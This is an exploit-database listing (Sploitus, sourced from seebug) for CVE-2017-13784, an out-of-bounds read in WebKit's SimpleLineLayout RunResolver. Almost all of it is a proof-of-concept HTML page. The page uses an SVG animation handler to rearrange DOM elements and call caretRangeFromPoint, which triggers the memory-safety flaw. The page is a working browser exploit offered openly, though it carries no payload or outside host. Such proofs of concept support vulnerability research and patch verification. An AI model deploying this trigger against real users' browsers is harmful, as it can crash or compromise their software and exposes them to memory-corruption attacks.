Sploitus

Exploit for WebKit: out-of-bounds read in WebCore::SimpleLineLayout::RunResolver::runForPoint

CVE-2017-13784

seebug · 2017-11-23

Exploit Code

MARKDOWN16 lines
## https://sploitus.com/exploit?id=SSV:96888
<style>
* { border-bottom: green solid; margin: 0px; }
</style>
<script>
function eventhandler() {
  dd.before(a);
  document.caretRangeFromPoint(0,0);
}
</script>
<h6>
<a id="a"></a>
</h6>
<dd id="dd"></dd>
<svg>
<set attributeName="dominant-baseline" onbegin="eventhandler()" />